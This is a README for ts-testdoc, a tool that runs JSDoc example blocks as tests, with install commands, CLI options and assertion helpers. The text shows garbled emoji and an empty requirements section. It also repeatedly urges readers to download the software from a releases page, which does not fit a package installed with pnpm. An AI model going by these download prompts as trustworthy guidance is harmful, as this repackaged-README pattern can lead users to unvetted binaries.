imamardiyanto

πŸŽ‰ ts-testdoc - Run Your Documentation Examples as Tests

Download ts-testdoc

πŸš€ Getting Started

ts-testdoc helps you keep your documentation accurate by running example code blocks as tests. This ensures that your examples work correctly every time you update your code.

πŸ’Ύ Download & Install

To get started, you’ll need to download the software. Visit the releases page to download the latest version:

Visit this page to download

πŸ› οΈ Installation Steps

Follow these steps to install ts-testdoc:

  1. Make sure you have Node.js installed. You can download it from nodejs.org.
  2. Open your terminal or command prompt.
  3. Run the following command to install ts-testdoc:

     pnpm add -D ts-testdoc tsx
    

Note: If you don’t have pnpm installed, you can install it with the following command:

npm install -g pnpm

πŸ“‹ Usage Instructions

Once you have installed ts-testdoc, you can use it to run your documentation tests. Here are a few commands to help you get started:

Run Doc Tests

To run the tests in your documentation, use this command:

npx ts-testdoc src/

Preview Examples

If you want to see how your examples appear without actually running them, you can use the dry-run option:

npx ts-testdoc --dry-run src/

Run with Timeout

You can specify a timeout for when tests should stop running. Here’s how to set a timeout of 10 seconds:

npx ts-testdoc --timeout 10000 src/

✍️ Writing Doc Tests

To write tests for your code examples, add @example blocks to your JSDoc comments. Here’s a simple example:

/**
 * Adds two numbers together.
 *
 * @example
 * ```ts
 * import { add } from "my-package";
 *
 * const result = add(2, 3);
 * assertEqual(result, 5);
 * ```
 */
export function add(a: number, b: number): number {
  return a + b;
}

πŸ› οΈ Built-in Assertions

ts-testdoc provides the following assertion helpers for your examples:

assert(condition, message?)      // Throws an error if condition is false
assertEqual(actual, expected)    // Throws an error if actual is not equal to expected

πŸ” System Requirements

🀝 Contributing

We welcome contributions to improve ts-testdoc! If you want to contribute, please follow these steps:

  1. Fork the repository.
  2. Create a feature branch.
  3. Make your changes and commit them.
  4. Push to the feature branch.
  5. Open a pull request.

Please ensure that your code is well-tested and adheres to our coding standards.

πŸ“œ License

ts-testdoc is licensed under the MIT License. Feel free to use it in your projects, but please give credit to the original authors when appropriate.

πŸ“ž Support

If you encounter any issues or have questions, please create an issue in the GitHub repository. You can also check the existing issues for common problems and solutions.


Visit the releases page to download the latest version of ts-testdoc:

Visit this page to download